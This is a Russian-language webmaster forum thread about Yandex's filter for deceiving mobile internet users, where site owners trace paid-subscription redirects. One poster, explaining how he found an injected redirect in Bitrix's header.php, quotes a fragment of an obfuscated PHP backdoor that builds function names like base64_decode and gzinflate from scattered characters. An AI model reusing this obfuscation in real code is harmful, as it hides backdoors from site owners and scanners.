Обман пользователей мобильного интернета

На сайте ничего не менял. Рекламу тоже не трогал. Переписка со службой поддержки результата не дала. Просто нажал кнопку.

Доброго времени суток!

Вновь на сайт наложен данный фильтр - Обман пользователей мобильного интернета.

При первом обращении в ответ пришло шаблонное письмо. Попросил прислать конкретные страницы, где происходит перенаправление на платные услуги.

Ответ Платона:

• inductrhdg.pt
• wpclk.net
• muzvolna.beeline.ru
• cdp.beeline.ru

Как это можно проверить? И как увидеть эти редиректы своими глазами?

у вас очень долгая подгрузка контента идет

я это воспринял как грабер с других сайтов  (для родного сервера дюжа  долгий процесс)

конечно я могу ошибаться!  Но -  в любом случае только вы можете знать что там в этой подгрузке происходит 

НО если это грабер  и есть  большая вероятность что код  редиректа то не у вас на сайте........  

зайти с билайна на сайт. в адсенсе 100% крутится реклама подписок

Забить на это. Тупые программисты не понимают, что эти проблемы в основном на клиентской части, а не на самом сайте. Но этому фильтру уже лет 5. Поэтому просто жить с этим. Он у меня тоже, то появляется, то исчезает.

И мне вчера прилетела такая метка, траф соответственно просел. Если и есть такая проблема на сайте, то думаю, что адсенс или рся в своей рекламе перекидывают на подписки, а как бороться с этим непонятно.

Сразу извиняюсь за много букв, но думаю это будет полезно многим в поисках....

Слушайте и держитесь! Возможно кому-то помогу в поиске проблемы и отлова этих редиректов. Сам борюсь уже с июня этого года. В начале так же ничего не понимал куда копать и где искать...

Так же писал в поддержку яндекса и так же отвечали. Забегая вперед нашел вредный код, удалил и ограничения снимали примерно недели через 2 после нажатия на кнопку "Исправил", но через какое-то время код вновь появлялся и санкции вновь накладывались от яндекса... уже в 3-й раз жду снятия санкций.......

Итак по порядку: реально своими глазами можно увидеть редирект (но не всегда срабатывает) только при использовании мобильного интернета (через WiFi не работает). Так же нужно полностью очистить всю историю (я для этого использовал встроенный браузер андройда).

Где нашел сам редирект: в битриксе в первой строке header.php, этот файл грузится на всех страницах сайта. На вашей системе ищите где может быть.... (причем на локальной копии (с которой работаю) все было норм - изменения произошли на сервере - это я так сразу исключил какой-то вирус у себя..... По времени изменения файла по логам уже было не отследить как и кто его изменил...

Далее через неделю строка появилась снова, и стал смотреть логи... И как вычислил по логам, где-то в глубине был закопан php скрипт, который (как я полагаю) запускался в ручную (точнее там даже форма в которую что-то вводится и которая что-то делает далее). PHP Код очень хитроумный и фильтрами его сложно отловить - все функции собираются из огромного словаря символов.. вот пример кода который уже обрабатывал форму:

if (isset($_POST['d42'])) $sddas = "*".$_POST['d42'].'*'."\r\n";

$f12='b'.$U.$T.$S.'64'.$J.'d'.$S.$R.'od'.$S;

$f23=$T.'t'.$M.$J.$M.$S.'p'.$A.$U.$R.$S;

$f37=$T.$S.'t'.$R.'ooki'.$S;

$f43='gzinf'.$A.$U.'t'.$S;

$f50=$R.$M.$S.$U.'t'.$S.$J.'fun'.$R.'tion';

$f60='mb'.$J.$T.'ub'.$T.'t'.$M;

$f78='mb'.$J.$T.'t'.$M.$A.$S.'n';

$f88='md5';

$f95=$T.'h'.$U.'1';

$f104='o'.$M.'d';

$f115=$R.'h'.$M;

Мог бы просто написать - "дыра на сайте" и всех делов.

Ну видимо у многих "дыра на сайте" и эти многие не подозревают об этом, раз это тема возникла, а я просто пытаюсь помочь людям в поиске, а не просто сидеть и давить на кнопку "Я все исправил"...

1. Диагноз "Обман пользователей мобильного интернета" совершено не обязательно связан с дырой на сайте. Других причин гораздо больше (и тут  них писали).

2. Непонятно зачем ты всё это тут расписывал. Избавление от дыр - сугубо личная процедура и для этого есть целый раздел на сёрче.